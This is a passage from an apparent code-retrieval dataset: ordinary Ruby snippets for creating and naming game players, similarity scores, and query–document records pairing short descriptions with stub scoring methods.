"def make_player\n\t\tputs \"\\nIf I may, master, what is your government name?\"\n\t\tname_input = gets.chomp\n#\t\t@name_1 = name_input.split.map {|i| i.capitalize}.join(\" \")\n#\t\t@user_name_1= new_name[0][(0..3)]+new_name[2][(0..3)]\n\t\tsign = @signs_array[0]\n\t\tPlayer.new(name_input,sign)\n\t\t$current_players[0] << @order[1]\n\t\t$current_players[0] << @signs_array[0]\n\t\t@signs_array = @signs_array.delete_at(0)\n\t\tputs \"\\nThank you!\\tNow I just need the next person.\"\n\t\t\n\t\tputs \"Other master, when ready, please type your government name.\"\n\t\tname_input = gets.chomp\n\t\tsign = @signs_array[-1]\n\t\tPlayer.new(name_input,sign)\n\t\t$current_players[1] << @order[0]\n\t\t$current_players[1] << @signs_array[-1]\n\t\tend",
"def new_player(msg)\n nick = msg.user.nick\n # Check if the user already has a character\n if Player.nick_exists? nick\n msg.reply \"#{nick} already has a character!\"\n return\n end\n # Make a new one\n Player.new_player(nick).save\n msg.reply \"Created new character for #{nick}!\"\n msg.reply \"To give your character a name, use: !player set name NAME\"\n msg.reply \"To give your character a race, use: !player set race RACE\"\n msg.reply \"To add a backstory, use: !player set backstory BACKSTORY\"\n end",
"def create_ai_player(player_position)\n if player_position == 1\n player = AIPlayer.new(name: \"Jack the Computer\")\n elsif player_position == 2\n player = AIPlayer.new(name: \"Jill the Computer\")\n else\n puts \"Something happened here - Create AI Players\"\n end\nend",
"def find_player_by_name!(name)\n find_player_by_name(name) || raise(MissingTarget, name)\n end",
"def add_player(nu_player_name_str)\n @players.push(nu_player_name_str)\n end",
"def player_by_name name\n @players.select {|p| p.name == name}.first\n end",
"def player\n player1 = Player.new('luke')\n player2 = Player.new('sam')\n game = Game.new(player1,player2)\n end",
"def get_player_name(count)\n begin\n puts \"\"\n puts \"Enter Player #{count}'s name:\"\n\n temp = gets.chomp\n\n raise InvalidName if temp == \"\"\n\n self.name = temp\n\n rescue InvalidName\n puts \"You need to enter a player name.\"\n get_player_name(count)\n\n end\n end",
"def new_players\n puts \"Welcome to the Tic Tac Toe Game X-O-X-O\"\n puts \"Player 1 name:\"\n name1 = gets.chomp\n @player1 = Player.new(name1, \"X\") #creates player 2 with X symbol\n @player1.say_hello # prints out welcome message for player 1\n puts \"Player 2 name:\"\n name2 = gets.chomp\n @player2 = Player.new(name2, \"O\") #creates player 2 with O symbol\n @player2.say_hello # prints out welcome message for player 2\n end",
"def enter_name(name)\n return @player_name = 'Anonymus' if name.empty?\n\n @player_name = name[0...18]\n end",
"def getplayername\n puts \"Enter your username:\\n\\n\"\n puts \"To exit the game, enter \" + \"EXIT\\n\\n\".red\n\n print \">> \"\n name = gets.chomp\n system('clear')\n if name.downcase == \"exit\" #if user input is exit, end the app\n end_program\n return nil\n elsif User.all.any? { |user| user.name.downcase == name.downcase } #if the user exists, get the user object\n user = User.all.select { |user| user.name.downcase == name.downcase}[0]\n puts \"Welcome back, #{user.name}\\n\\n\"\n else #create the user and give them a how to play instructions method call instead of just going to menu\n user = User.create(name: name)\n how_to_play(user)\n end\n user\nend",
"def ask_name\n\n puts ''\n puts \"Bienvenue sur TIC-TAC-TOE\"\n puts \"Veuillez écrire vos noms :\"\n\n puts \"Joueur 1 : \"\n print \"> \"\n\n @player_one = Player.new(gets.chomp)\n\n puts \"Joueur 2 : \"\n print \"> \"\n\n @player_two = Player.new(gets.chomp)\n\n end",
"def get_player_name\n if players[1].name == \"You\"\n puts \"What's your name?\"\n players[1].name = gets.chomp\n puts \"Hey, #{players[1].name}. Let's play some blackjack.\\n\\n\"\n end\n end",
"def create_new_player\n @player = Player.new(self, nil, ServerConfig.start_room, @new_name, [], \"a typical person\", \"This is a normal, everyday kind of person.\", \"person\", @sex)\n @player.word_wrap = nil\n\n # TODO remove following lines\n require 'aethyr/extensions/objects/clothing_items' #why not\n require 'aethyr/extensions/objects/sword'\n shirt = Shirt.new\n pants = Pants.new\n undies = Underwear.new\n sword = Sword.new\n\n $manager.add_object(shirt)\n $manager.add_object(undies)\n $manager.add_object(pants)\n $manager.add_object(sword)\n\n @player.inventory << shirt\n @player.inventory << pants\n @player.inventory << undies\n @player.inventory << sword\n\n @player.wear(undies)\n @player.wear(pants)\n @player.wear(shirt)\n\n if @player.name.downcase == ServerConfig.admin.downcase\n @player.instance_variable_set(:@admin, true)\n end\n\n $manager.add_player(@player, @new_password)\n\n File.open(\"logs/player.log\", \"a\") { |f| f.puts \"#{Time.now} - #{@player.name} logged in.\" }\n\n @state = nil\n\n output(\"Type HELP HELP for help.\")\n end",
"def start_game\n p \"What's your name, player one?\"\n input = gets.chomp.to_s\n me = HumanPlayer.new(input)\n comp = ComputerPlayer.new('Jessica')\n new_game = Game.new(me, comp)\n new_game.play\nend",
"def name_white_player\n type(\"#{'Player for:'.green} #{'white team'.white} #{'- enter your name: '.yellow}\")\n @teams[:white].name = gets.chomp\n end",
"def capturePlayer(numberOfPlayer)\n loop do\n player = Player.new\n puts '---------------------------'\n print \"Name of player ##{numberOfPlayer} : \".colorize(:green)\n player.name = gets.chomp.capitalize\n player.score = 0\n player.arrayV = []\n return player if player.name != nil and @@scoreTable.checkName(@@listPlayer,player.name)\n end\n end",
"def ask_for_name\n\t\tputs \"What is your name?\"\n\t\tplayer_name = gets.chomp\n\t\t$person = Person.new(player_name)\n\tend",
"def create\n room_code = params[:player][:room_id]\n room = Room.find_by_code(room_code)\n\n potential_existing_players = Player.where(:alias => params[:player][:alias], :room_id => room.id)\n \n if potential_existing_players.count > 0\n @player = potential_existing_players.first\n else\n @player = Player.new(player_params.merge(room_id: room.id))\n end\n\n respond_to do |format|\n if @player.save\n format.html { redirect_to \"/play/#{room.id}/#{@player.id}\", notice: 'Player was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def get_name\n\t\t# Ask the player for their name\n\t\tputs \"\\nWhat is your name?\"\n\n\t\t# Utilize the player class to store the input name\n\t\tself.player_name = Person.new(gets.strip)\n\tend",
"def player_name\n\tgame_sounds\n\t\tputs \"Hey man whats your name?\"\n\t\t@your_name = $stdin.gets.chomp.upcase\n\t\tplay_game\n\tend",
"def name_black_player\n type(\"#{'Player for:'.green} #{'black team'.white} #{'- enter your name: '.yellow}\")\n @teams[:black].name = gets.chomp\n end",
"def get_player_name(count, player)\n\n puts \"\"\n puts \"Enter Player #{count}'s name:\"\n\n player.name = gets.chomp\n\nend",
"def generate_player\n ret_val = nil\n msg = \"no changes made\"\n if (!ranking_player.nil?) and !has_base_player\n ret_val = PlayersHelper.generate_player_from_url(ranking_player)\n if !ret_val.nil?\n self.player = ret_val\n if base_player_country_id != base_country_id \\\n and !base_player_country.nil?\n self.country = base_player_country\n end\n self.resolved = true\n self.save!\n msg = \"Created new player \" + base_player_name + \"/\" + \\\n base_player_code + \"/id=\" + ret_val.id.to_s\n else\n msg = \"Player creation failed from url: \" + rp_url\n end\n end\n\n SystemLog.log(msg)\n ret_val\n end",
"def initialize name\n @player = name\n @@player_count+=1\n end",
"def naming\n puts (\"Hello player #{@@player_count}. Please choose a name.\").blue\n name = gets.chomp\n @@player_count += 1\n return name\n end",
"def spawn_player player; end",
"def join_player\r\n @players_joined += 1\r\n \r\n puts \"\\nPlayer #{@players_joined}, what is your name?\\n\"\r\n player_name = gets.chomp.to_s\r\n\r\n player_name\r\n end",
"def add_new_player(new_player)\n players.push(new_player)\n end",
"def setup_player(options = {})\n default_chips = 100\n if options[:bot]\n who = 'AI player'\n default_name = 'Kenny'\n else\n who = 'your player'\n default_name = 'Human'\n end\n\n @output.puts \"Setting up #{who}.\"\n @output.print \"Name [#{default_name}]: \"\n name = @input.gets.chomp\n name = default_name if name.empty?\n\n @output.print \"Chips [#{default_chips}]: \"\n chips = @input.gets.chomp.to_i\n chips = default_chips if chips.zero?\n\n return Gambler::Player.new(name, :chips => chips)\n end",
"def player_exist?(name)\n log \"Checking existence of #{name}\", Logger::Medium\n @storage.player_exist?(name)\n end",
"def select_player\n Player.new( [PLAYER_NAMES.try(:shuffle).try(:first), ('A'..'Z').try(:to_a).try(:sample).concat('.')].join(' ') )\n end",
"def add_players(names)\n @me.name = names[1]\n @opponent.name = names[2]\n p @me, @opponent\n run\n end",
"def create_player(num, rules)\n n =num.to_s\n puts \"Enter a name for Player \" + n + \":\"\n name = gets.chomp\n puts \"Is Player\" + n + \" a HUMAN or a COMPUTER?\"\n valid = [\"HUMAN\",\"COMPUTER\",\"COMP\"]\n control = check_input(valid)\n p = Ai_Player.new(name,rules) if control == \"COMPUTER\" || control == \"COMP\"\n p = Player.new(name,rules) if control == \"HUMAN\"\n p\nend",
"def init_player\r\n puts \" ----------------------- \"\r\n puts \"Veuillez saisir un nom de joueur :\"\r\n puts \"\"\r\n print \"> \"\r\n nom_joueur = gets.chomp.to_s\r\n puts \" ----------------------- \"\r\n return player = HumanPlayer.new(nom_joueur)\r\nend",
"def player_set_up\n\n if @debug == false\n system('clear')\n slow_type(\"Please enter your name and hit enter:\")\n @new_player_name = gets.chomp\n slow_type(\"\\nThank you, #{@new_player_name}\")\n slow_type(\"\\nTime to start the game...\\n\")\n end\n \n end",
"def name_checker(player_name)\n\tputs \"hi #{player_name}\"\nend",
"def add_player(player, password)\n @storage.save_player(player, password)\n self.add_object(player)\n end",
"def get_player_by_name n\n @players.each{|p| return p if p.try(:name).try(:downcase) == n.try(:downcase) }\n end",
"def player_names\n puts \"What name do you want to use, Player 1?\"\n @player_1_name = gets.chomp\n puts \"What name do you want to use, Player 2?\"\n @player_2_name = gets.chomp\n end",
"def player_prompt(id)\n puts 'Human or Computer?'\n choice = gets.chomp.downcase\n if choice == 'human'\n player = HumanPlayer.new(id)\n elsif choice == 'computer'\n player = ComputerPlayer.new(id)\n else\n puts \"Invalid input.\\n\"\n return player_prompt(id)\n end\n player\n end",
"def set_player(input) \n print \"Please enter your name : \"\n @name[0] = input.gets\n print \"Please enter your name : \"\n @name[1] = input.gets \n end",
"def update command\n if command.is_a? PlayerNameChangeCommand\n player = @player_list.bsearch { |x| command.session_id <=> x.session_id }\n player.name = command.new_name\n end\n end",
"def create_player curr_user_id\n curr_user = User.find(curr_user_id)\n new_player = Player.new\n new_player.player_name = curr_user.name\n new_player.user_id = curr_user_id\n new_player.player_email = User.find(new_player.user_id).email\n new_player.prev_player_id = new_player.next_player_id = -1\n new_player.topic_id = self.id\n new_player.is_dead = false\n new_player.save\n #set new player to head if first new player\n if self.last_registered_player_id == -1\n self.player_id = self.last_registered_player_id = new_player.id\n else\n if self.has_user(curr_user_id)\n puts 'error: this function should not even be accessible'\n return\n end\n curr_last = Player.find(self.last_registered_player_id)\n curr_last.next_player_id = new_player.id\n new_player.prev_player_id = curr_last.id\n self.last_registered_player_id = new_player.id\n curr_last.save\n end\n self.roster_count += 1\n self.save\n new_player.save\n return\n end",
"def add_player(new_player)\n @players << new_player\n end",
"def get_player_by_user(input_user)\n #current_name=self.playing_user_names.select{|name| self.user_hash[name] == input_user}.first\n current_name=input_user.nick #this uses user.nick, but other places use this too\n return self.player_hash[current_name] #could return nil if user doesn't exist\n end",
"def name\n puts 'Ingresa el nombre del jugador: '\n name_player = gets.chomp\n name_player\n end",
"def get_player_name\n name = STDIN.gets.chomp\n name\n end",
"def create\n @player = Player.new(player_params)\n @player.user = current_user\n # automatically create a new team for the user if there isn't one already\n unless @player.team || @player.name.blank?\n team = Team.find_or_initialize_by(name: \"#{@player.name}'s Team\", code: @player.name.upcase)\n @player.team = team if team.save\n end\n respond_to do |format|\n if @player.save\n format.html { redirect_to(@player, :notice => 'Player was successfully created.') }\n format.xml { render :xml => @player, :status => :created, :location => @player }\n else\n team.destroy if team\n format.html { render :action => \"new\" }\n format.xml { render :xml => @player.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_player(player)\n new_player = if player_one\n { player_two: player }\n else\n { player_one: player }\n end\n update_attributes(new_player)\n end",
"def initialize\n @player1 = get_player_name('1')\n @player2 = get_player_name('2')\n @current_player = @player1\n end",
"def get_player_info(db)\r\n puts \"\\nPlayer's name:\"\r\n name = gets.chomp\r\n puts \"\\nPlayer's location (state if American, country otherwise):\"\r\n location = gets.chomp\r\n add_player(db, name, location)\r\nend",
"def add_ai_player(type, user)\n @player = Player.new({:ai => type, :game_id => self.id, :user_id => user.id, :money => 100, :username => 'ai '+type.to_str, :location => self.get_empty_location(), :in_pot_hand => 0, :in_pot_current => 0})\n self.players << @player\n self.save\n end",
"def secondplayer\n puts \"Do you want to play with AI? y/n?\"\n ats = gets.chomp\n if ats == \"y\"\n player = Computer.new(self)\n else\n player = Player.new\n end\n player\n end",
"def get_player_name\n get_console_input.capitalize\n end",
"def player_attributes=(player_params)\n if !player_params['name'].empty?\n self.player = Player.find_or_create_by(player_params)\n end\n end",
"def load_player(name, password, game_objects)\n goid = nil\n\n open_store \"players\" do |gd|\n goid = gd[name.downcase]\n end\n\n if goid.nil?\n log \"Could not fetch player info #{name}\"\n raise MUDError::UnknownCharacter\n end\n\n unless check_password name, password\n raise MUDError::BadPassword\n end\n\n log \"Loading player...#{goid}\"\n return load_object(goid, game_objects)\n end",
"def register_player!(params)\n self.player = Player.new(params)\n self.roles << :player\n self.save\n self.player.save\n self.player\n end",
"def name\n \"Player#{@ix}\"\n end",
"def validate(player, new_player)\n if player\n return player_search = User.find_by(name: player.name) \n else \n return player_search = User.create(name: new_player)\n end \nend",
"def ask_player_name\n puts \"Rentre le pseudo du joueur #{@symbol} : \"\n print '> '\n name = gets.chomp\n name\n end",
"def create_summoner(summoner_name)\n Summoner.find_or_create_by(name: summoner_name)\nend",
"def pbChangePlayer(id)\n return false if id<0 || id>=8\n meta=pbGetMetadata(0,MetadataPlayerA+id)\n return false if !meta\n $Trainer.trainertype=meta[0] if $Trainer\n $game_player.character_name=meta[1]\n $game_player.character_hue=0\n $PokemonGlobal.playerID=id\n $Trainer.metaID=id if $Trainer\nend",
"def player_by_username(username)\n @logger.info \"Looking up player by username [#{username}]\"\n\n request = make_request('player', {\n :name => username\n })\n\n Player.from_json request\n end",
"def add_new_player(new_player)\n @players.push(new_player)\n end",
"def create_players(num)\n name_array = Array.new\n player_array = Array.new\n count = 1\n while count <= num\n valid_name = false \n while valid_name == false\n print \"What is player number #{count}'s name?: \"\n name = gets.chomp\n if name_array.include?(name)\n puts \"Sorry, the name #{name} is already taken. Please choose a different name.\" \n else \n if name.include?('.bot')\n puts 'you added a bot'\n player = Bot.new(name, 0)\n else \n player = Player.new(name, 0)\n end\n name_array << name\n valid_name = true \n end \n end\n player_array << player\n count += 1 \n end \n return player_array\nend"
] |
[
"0.7662661",
"0.759356",
"0.75322306",
"0.75315326",
"0.74795276",
"0.73275834",
"0.72389424",
"0.72031283",
"0.7125756",
"0.71112794",
"0.7002564",
"0.69855124",
"0.69855124",
"0.69638234",
"0.69232184",
"0.69060326",
"0.68720573",
"0.68707",
"0.68539906",
"0.6847169",
"0.6846734",
"0.6843899",
"0.6825939",
"0.6816478",
"0.68106896",
"0.67954427",
"0.6776837",
"0.67627895",
"0.6734929",
"0.672513",
"0.6720894",
"0.67114455",
"0.66869694",
"0.6662609",
"0.6642103",
"0.66351736",
"0.66304356",
"0.6621935",
"0.66212",
"0.66095513",
"0.65992707",
"0.6579956",
"0.65534544",
"0.65486205",
"0.6547165",
"0.65048707",
"0.64894694",
"0.6487293",
"0.64835423",
"0.64826024",
"0.6466919",
"0.645081",
"0.6450491",
"0.64441586",
"0.6442944",
"0.64157885",
"0.6404174",
"0.64025635",
"0.64010864",
"0.6397092",
"0.638395",
"0.63829774",
"0.63818216",
"0.638142",
"0.63701063",
"0.6359288",
"0.6353561",
"0.63490736",
"0.63385755",
"0.6338451",
"0.63320047",
"0.6321255",
"0.6318034",
"0.63000256",
"0.6282868",
"0.62801135",
"0.6275958",
"0.6275256",
"0.6273932",
"0.6273042",
"0.62712246",
"0.62711483",
"0.62635696",
"0.6245688",
"0.62436634",
"0.62355864",
"0.62344635",
"0.623219",
"0.6230707",
"0.6216368",
"0.6215714",
"0.62115985",
"0.6210629",
"0.6205092",
"0.62026834",
"0.61846393",
"0.61740243",
"0.6171267",
"0.61546",
"0.6149543",
"0.6144536"
] |
0.0
|
-1
|
increments player point (post request)
|
def add_point(player)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def increment_player_stat\n @team.increment_player_stat(@stat_type, @player)\n\n redirect_to team_path(@team)\n end",
"def give_point\n if@current_player == @player1\n @p1_score += 1\n else\n @p2_score += 1\n end\nend",
"def record_won_ball!\n @points +=1\n end",
"def record_won_ball!\n @points += 1\n end",
"def record_won_ball!\n @points += 1\n end",
"def record_won_ball!\n @points += 1\n end",
"def record_won_ball!\n @points += 1\n end",
"def record_won_ball!\n @points += 1\n end",
"def record_won_ball!\n @points += 1\n end",
"def record_won_ball!\n @points += 1\n end",
"def record_won_ball!\n @points += 1\n end",
"def increment_points(points)\n self.balance = self.balance.to_i + points.to_i\n self.save\n end",
"def gain_point\n @score += 1\n end",
"def add_score\n transaction do\n self.player.points = self.player.points + 1\n if self.player.save\n self.player.team.score = self.player.team.score + 1\n self.player.team.save\n end\n self.player.inc_score_stats\n end\n end",
"def add_point\n @score += 1\n end",
"def gain_a_point\n\n self.score += 1\n\n end",
"def gain_points\n @score += 1\n end",
"def create\n @post = Post.new(post_params)\n @post.user_id = current_user.id\n \n respond_to do |format|\n if @post.save\n current_user.update(point: current_user.point + 1)\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n \n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def increment_player_idx\n @current_player_idx = (@current_player_idx + 1) % 2\n end",
"def player_win\n @player_win += 1\n end",
"def add_multiple_points(player)\n end",
"def record_won_ball!\n @points += 1\n return @points\n end",
"def record_won_ball!\n @points += 1\n return @points\n end",
"def earn_point(player)\n player ==1 ? @player_2_wins += 1 : @player_1_wins +=1\nend",
"def win_pts\n self.score += 1\n end",
"def pay_beer\n @player = Player.find(params[:id])\n @player.beer_paid = @player.beer_paid + 1\n @res = @player.save\n \n respond_to do |format|\n format.json {\n render json: {\n :status => @res,\n :player => @player\n }\n }\n end\n end",
"def add_points(result)\n if result == \"win\"\n @points += 1\n end\n end",
"def increment(points_count)\n\t\t@story_count += 1\n\t\t@points_count += points_count\n\tend",
"def xpinc\r\n\t\t@xp += 50\r\n\tend",
"def xpinc\r\n\t\t@xp += 50\r\n\tend",
"def point_won_by(player)\n case player\n when player1 then active_set.increment(player: 1)\n when player2 then active_set.increment(player: 2)\n end\n end",
"def add_to_player_score (player)\r\n\tplayer.player_wins += 1\r\n\t@total_number_of_plays += 1\r\n\tend",
"def record_won_ball!\n @points += 1\n win?\n end",
"def advance_dealer\n put(:dealer) {|x| player_relative_to(x, 1) }\n end",
"def update(point)\n\t\t\n\tend",
"def update(point)\n\t\t\n\tend",
"def record_won_set!\n reset_points\n reset_game_points \n \n @set_points +=1\n end",
"def update(point)\n\t\t\t\t\n\t\t\tend",
"def advance_player(player)\n @position[player] += @die.roll\n end",
"def add_points(points)\n @correct_answers += 1\n @points += points\n end",
"def get_point\n @right_answers += 1\n end",
"def create\n @safe = Safe.new(safe_params)\n\n @safe.save\n player = Player.find_by_id(@safe.player_id)\n player.saves += 1\n owns = Ownership.where('player_id = ?',player.id)\n owns.each do |own|\n user = User.find(own.user_id)\n points = user.points + 1\n user.update_column(:points, points)\n end\n player.save\n\n respond_to do |format|\n if @safe.save\n format.html { redirect_to @safe, notice: 'Save was successfully created.' }\n format.json { render action: 'show', status: :created, location: @safe }\n format.js { redirect_to game_path(@safe.player_id), notice: 'Save was successfully created.' }\n else\n format.html { render action: 'new' }\n format.json { render json: @safe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def increment!\n self.times += 1\n self.save\n end",
"def upvote\n\t@post = Post.find(params[:id])\n\t@post.votes = @post.votes + 1\n puts @post.votes\n\n\n\n\trespond_to do |format|\n if @post.update(post_par2)\n\t\tformat.html { redirect_to @post, notice: 'Post was successfully upvoted.' }\n\t\tformat.json { render :show, status: :ok, location: @post }\n end\n\tend\n end",
"def end_game\n @first_player.points += Ranking.pointsCalculator(true)\n @second_player.points += Ranking.pointsCalculator(false)\n record_player(first_player)\n record_player(second_player)\n redirect_to home\n end",
"def add_review\n UsersQuest.update(params[:id], params.require(:quest).permit(:review))\n quest = Quest.find(params[:id])\n\n if params[:quest][:points] == \"1\"\n quest.bounty_points += 10\n quest.save\n end\n if params[:quest][:points] == \"2\"\n quest.bounty_points += 20\n quest.save\n end\n if params[:quest][:points] == \"3\"\n quest.bounty_points += 30\n quest.save\n end\n if params[:quest][:points] == \"4\"\n quest.bounty_points += 40\n quest.save\n end\n if params[:quest][:points] == \"5\"\n quest.bounty_points += 50\n quest.save\n end\n redirect_to quest_path(quest.id)\n end",
"def add_points_and_save(xp_value)\n self.points_total += xp_value\n self.save\n end",
"def next_player\n @current_player_index += 1\n @current_player_index %= 2\n end",
"def update_points(result)\n if result == \"Win\"\n @points =+ 1\n elsif result == \"Loss\"\n #No change to points\n else\n #error of some kind\n end #End of if\n\n end",
"def update_points(dealer_cards, player_cards, no_of_games = 0, points = [0, 0])\n player = 0\n dealer = 1\n result = detect_result(dealer_cards, player_cards)\n case result\n when :player_busted\n points[dealer] += 1\n when :dealer_busted\n points[player] += 1\n when :player\n points[player] += 1\n when :dealer\n points[dealer] += 1\n end\n\n points\nend",
"def create\n @post = Post.find(params[:postID])\n if (@post.checkIfVoted(@post.id.to_s, session[:user_id].to_s)[0]!=nil )\n redirect_to @post, notice: 'You have already voted for this post.'\n elsif @post.postUserID.to_s == session[:user_id].to_s\n redirect_to @post, notice: 'You can not vote for yourself'\n else\n @vote = Vote.new(params[:vote])\n @vote.postID = params[:postID]\n @vote.userID = session[:user_id]\n\n @post.increment(:votes)\n @post.save\n # @post.voted((@post.votes+1).to_s,@post.id.to_s)\n #@post.increment(votes)\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @post, notice: 'Vote successfully.' }\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def upvote\n self.votes += 1\n save\n end",
"def update_score!(points)\n increment!(:score, points)\n end",
"def advance_player!(player)\n<<<<<<< HEAD\n # lanzo el dado\n if not_advance_more_than_lenght?(player)\n @race_progress[player] += @die.roll\n if somebody_is_winner?(player)\n @finished = true \n end\n end\n end",
"def increment_win_score\n PlayerModelContracts.invariant(self)\n @score = @score + 1\n end",
"def train\n @badasspoints += 1\n end",
"def update_rank\n age_in_days = (created_at - Time.new(1970,1,1)) / (60 * 60 * 24) # 1 day in seconds\n new_rank = points + age_in_days\n \n update_attribute(:rank, new_rank)\n end",
"def update_score\n if @round_won\n @player.increment_rounds_won\n else\n @player.increment_rounds_lost\n end\n end",
"def AddPoints(score)\n\tscore = score + 100\nend",
"def givepoints \n x = comparison(@player_choice, @opponent_choice)\n if x == -1\n @player_score += 1\n elsif x == 0\n @player_score += 0\n @opponent_score += 0\n elsif x == 1\n @opponent_score += 1\n end \n return x\n end",
"def push_number(stream, point)\n post stream, point\n end",
"def increment_game\n change_turn\n @turn += 1 if @player_to_move == \"w\"\n end",
"def make_player_move!(player_move_position)\n self.game_data[player_move_position] = \"O\"\n self.player_move_count += 1\n self.save!\n end",
"def update(point)\n\t\t@move_action.update(point)\n\tend",
"def watch_the_point(server)\n\t\tpoint_details = server.begin_point(self)\n\t\tself.winner = point_details[:winner]\n\t\tself.loser = point_details[:loser]\n\t\t# binding.pry\n\t\t# random = [player_1, player_2].shuffle\n\t\t# self.winner = random.first\n\t\t# self.loser = random.last\n\t\tself.status = \"complete\"\n\t\tself.save\n\t\tgame ? game.check_status : tiebreak.check_status\n\tend",
"def increment\n @counter = @counter + 1\n end",
"def update_post\n\t\tpost.update_rank\n\tend",
"def score(player)\n @players[player][:score] += 1\nend",
"def advance_player(player)\n player[\"player_position\"] += die.roll\n player[\"player_position\"] = 29 if player[\"player_position\"] > 29\n end",
"def next_player!\n end",
"def set_current_player(player)\n\t\tself.current_player = player\n send_update\n\tend",
"def update(point)\n\t\t# move relative to the initial point\n\t\t\n\t\t@destination = @start + movement_delta(point)\n\tend",
"def increment \n\t\t@counter = @counter + 1\n\tend",
"def increment\n curr_value = counter\n self.counter = curr_value + 1\n save\n curr_value\n end",
"def incement_score\r\n\t\t \t @score += 2000\r\n\t\t end",
"def advantage(player)\n if deuce\n player.points +=1\n return 'Advantage!'\n end\n end",
"def update_score()\r\n @score += GAME_PRESET[\"score_increment\"]\r\n end",
"def update\n player = Player.find_by!(uuid: session[:uuid])\n game = player.game\n\n if game.creator == player\n game.max_rounds.times do\n CreateRound.new(game: game).perform\n end\n NextRound.new(game: game).perform\n game.playing!\n end\n\n redirect_to player_path\n end",
"def increment_turn\n @players.rotate!\n end",
"def increment\n self.visits = self.visits.to_i.next\n self.save\n end",
"def upvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.new(user_id: session[:id], post_id: @post.id, score: 1)\n if @vote.save\n @post.update_attribute(:respect, @post.respect + 1)\n flash[:notice] = 'Post upvoted successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end",
"def update_counters\n player.plays_count.increment\n opponent.plays_count.increment\n true\n end",
"def update_rank\n age_in_days = (created_at - Time.new(1970,1,1)) / 1.day.seconds\n new_rank = points + age_in_days\n update_attribute(:rank, new_rank)\n end",
"def pass_player_turn\n @active_player_idx += 1\n if @active_player_idx == @players.length\n @active_player_idx = 0\n end\n end",
"def thumbs_up\n \t@rank +=1 # => @prank +1\n end",
"def update_enemy_sending_pokemon\n if @counter2 == 10\n spawn_enemy_balls\n elsif @counter2 == 60\n start_enemy_mon_going_out_animation\n elsif @counter2 > 90\n @update_method = :update_transition\n end\n @enemy_sprites.each { |sprite| sprite.x += SPRITE_MOVE_PIXEL / 2 }\n @counter2 += 1\n end",
"def uvote\n question = Question.find(params[:question_id])\n if params[:action].to_i == 1\n question.upvote += 1\n else\n question.downvote += 1\n end\n question.save!\n\n render :json => {:success => 1}\nend",
"def update_player\n @player.update\n update_player_actions\n end",
"def increment_time\n @time = @time + 1\n end",
"def increment\n @value += 1\n end",
"def pv_up\n self.update!(pv: pv + 1)\n end",
"def upvote\n @vote[:direction] = true\n @vote.save!\n redirect_to :back\n end",
"def go_next\n authorize! :go_next, League, :message => \"Non puoi modificare le impostazioni della lega\"\n lega = League.find(current_user.league_id)\n #controllo solo per evitare il doppio click su go next day, controlla\n #che la differenza il giorno tra successivo e il giorno dell'ultima formazione\n #creata dagli utenti non sia maggiore di uno\n if( lega.current_day <= lega.votes_day )\n lega.current_day += 1\n lega.save\n redirect_to '/leagues/score/rate'\n else\n flash[:danger] = \"Attenzione: non puoi calcolare i punteggi della giornata corrente se i voti non sono della medesima giornata\"\n redirect_to '/leagues/score/rate'\n end\n end",
"def updateGamesPlayed\n @gamesPlayed += 1\n end",
"def add_vote\n self.increment!(:votes, 1)\n end",
"def increment(amount = 1)\n self[:start_time] ||= Time.now\n self[:current] = (self[:current] + amount < self[:max] ? self[:current] + amount : self[:max])\n self.save\n self[:previous_time] ||= Time.now\n end",
"def hit_count_increament\n self.hit_count = self.hit_count + 1\n self.update\n end",
"def points_update\n command = Goal::GoalPointsUpdateCommand.new(params)\n run(command)\n end",
"def show\n @post.views = @post.views + 1\n @post.save\n end",
"def create\n @point = Point.new(point_params)\n @point.goal_id = @goal.id\n\n respond_to do |format|\n if @point.save\n format.html { redirect_to :goals, notice: 'Your progress has been updated!' }\n @goal.current_quantity += @point.quantity\n @goal.save!\n format.json { render action: 'show', status: :created, location: @point }\n else\n format.html { redirect_to goals_path, alert: 'Your progress could not be updated because your quantity was not a valid number. \n Please try again.' }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.67484164",
"0.6698794",
"0.66631514",
"0.6659237",
"0.6659237",
"0.6659237",
"0.6659237",
"0.6659237",
"0.6659237",
"0.6659237",
"0.6659237",
"0.646454",
"0.6402003",
"0.63857037",
"0.63312423",
"0.63308895",
"0.632889",
"0.6320831",
"0.63117486",
"0.629825",
"0.62619627",
"0.6255533",
"0.6255533",
"0.62501335",
"0.6223631",
"0.62085193",
"0.6197455",
"0.6173151",
"0.6161602",
"0.6161602",
"0.60771626",
"0.60673153",
"0.60457724",
"0.60044235",
"0.5986529",
"0.5986529",
"0.5966702",
"0.59596735",
"0.5950572",
"0.59351474",
"0.5907732",
"0.59037393",
"0.5896854",
"0.58852243",
"0.5882294",
"0.58656985",
"0.58478004",
"0.58460736",
"0.5829077",
"0.5828038",
"0.5809134",
"0.5803868",
"0.5802419",
"0.57844305",
"0.5782252",
"0.57796955",
"0.5778349",
"0.57749856",
"0.57725805",
"0.5768541",
"0.5762362",
"0.57622087",
"0.57487136",
"0.5736307",
"0.5722947",
"0.57219577",
"0.57211393",
"0.57112414",
"0.57001936",
"0.56970716",
"0.56914854",
"0.5687016",
"0.56843483",
"0.5672975",
"0.56680715",
"0.5663438",
"0.5661817",
"0.5655993",
"0.56493586",
"0.5645147",
"0.5642107",
"0.56393594",
"0.5637526",
"0.56273067",
"0.5618875",
"0.56125426",
"0.56068635",
"0.55927134",
"0.5591831",
"0.55901504",
"0.5589316",
"0.55864036",
"0.55805415",
"0.55742335",
"0.55729836",
"0.5572978",
"0.55598015",
"0.55566883",
"0.55523574",
"0.5541628"
] |
0.6515004
|
11
|
when double clicked, turns into field to edit
|
def add_multiple_points(player)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
